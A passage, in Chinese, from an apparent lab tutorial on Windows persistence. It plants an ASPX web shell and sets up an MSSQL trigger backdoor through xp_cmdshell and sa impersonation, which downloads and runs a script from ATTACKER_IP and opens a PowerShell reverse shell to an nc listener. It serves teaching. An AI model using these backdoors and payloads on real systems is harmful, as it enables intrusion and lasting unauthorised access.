C:\> move shell.aspx C:\inetpub\wwwroot\

注意:根据您创建/传输 shell.aspx 的方式,文件中的权限可能不允许 Web 服务器访问它。如果您在访问 shell 的 URL 时遇到“权限被拒绝”错误,只需授予每个人对该文件的完全权限即可使其正常工作。您可以使用

icacls shell.aspx /grantEveryone:F 来执行此操作。 然后,我们可以通过指向以下 URL 从 Web 服务器运行命令:http://10.10.225.199/shell.aspx

web shell

虽然 Web shell 提供了一种在系统上留下后门的简单方法,但蓝队通常会检查 Web 目录中的文件完整性。对其中文件的任何更改都可能会触发警报。

2.使用 MSSQL 作为后门(Using MSSQL as a Backdoor)

在 MSSQL Server 安装中植入后门的方法有多种。现在,我们将看看其中一个滥用触发器的情况。简而言之,MSSQL 中的触发器允许您绑定在数据库中发生特定事件时要执行的操作。这些事件的范围可以从用户登录到从给定表中插入、更新或删除数据。对于此任务,我们将为任何插入 HRDB 数据库的操作创建一个触发器。 在创建触发器之前,我们必须首先在数据库上重新配置一些东西。首先,我们需要启用 xp_cmdshell 存储过程。 xp_cmdshell 是一个存储过程,在任何 MSSQL 安装中默认提供,允许您直接在系统控制台中运行命令,但默认情况下处于禁用状态。 要启用它,让我们从开始菜单打开 Microsoft SQL Server Management Studio 18。当要求进行身份验证时,只需使用 Windows 身份验证(默认值),您将使用当前 Windows 用户的凭据登录。默认情况下,本地管理员帐户将有权访问所有数据库。 登录后,单击“新建查询”按钮打开查询编辑器:

New SQL query

运行以下SQL语句启用MSSQL配置中的“高级选项”,然后继续启用xp_cmdshell。

sp_configure 'Show Advanced Options',1;
RECONFIGURE;
GO

sp_configure 'xp_cmdshell',1;
RECONFIGURE;
GO

之后,我们必须确保任何访问数据库的网站都可以运行xp_cmdshell。默认情况下,只有具有 sysadmin 角色的数据库用户才能执行此操作。由于预计 Web 应用程序会使用受限数据库用户,因此我们可以向所有用户授予权限来模拟 sa 用户,这是默认的数据库管理员:

USE master

GRANT IMPERSONATE ON LOGIN::sa to [Public];

完成所有这些之后,我们终于配置了一个触发器。我们首先更改为 HRDB 数据库:USE HRDB

我们的触发器将利用 xp_cmdshell 执行 Powershell,从攻击者控制的 Web 服务器下载并运行 .ps1 文件。触发器将被配置为在 HRDB 数据库的Employees 表中执行INSERT 时执行:

CREATE TRIGGER [sql_backdoor]
ON HRDB.dbo.Employees
FOR INSERT AS

EXECUTE AS LOGIN = 'sa'
EXEC master..xp_cmdshell 'Powershell -c "IEX(New-Object net.webclient).downloadstring(''http://ATTACKER_IP:8000/evilscript.ps1'')"';

现在后门已设置完毕,让我们在攻击者的计算机中创建恶意脚本.ps1,其中将包含 Powershell 反向 shell:

$client = New-Object System.Net.Sockets.TCPClient("ATTACKER_IP",4454);

$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
   $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
   $sendback = (iex $data 2>&1 | Out-String );
   $sendback2 = $sendback + "PS " + (pwd).Path + "> ";
   $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
   $stream.Write($sendbyte,0,$sendbyte.Length);
   $stream.Flush()
};

$client.Close()

我们需要打开两个终端来处理此漏洞利用中涉及的连接:

  • 触发器将执行第一次连接以下载并执行evilscript.ps1。我们的触发器使用端口 8000。
  • 第二个连接将是端口 4454 上的反向 shell 返回到我们的攻击者计算机。
user@AttackBox$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... user@AttackBox$ nc -lvp 4454
Listening on 0.0.0.0 4454

一切准备就绪后,让我们导航到 http://10.10.225.199/ 并将员工插入到 Web 应用程序中。由于 Web 应用程序将向数据库发送 INSERT 语句,因此我们的 TRIGGER 将为我们提供对系统控制台的访问。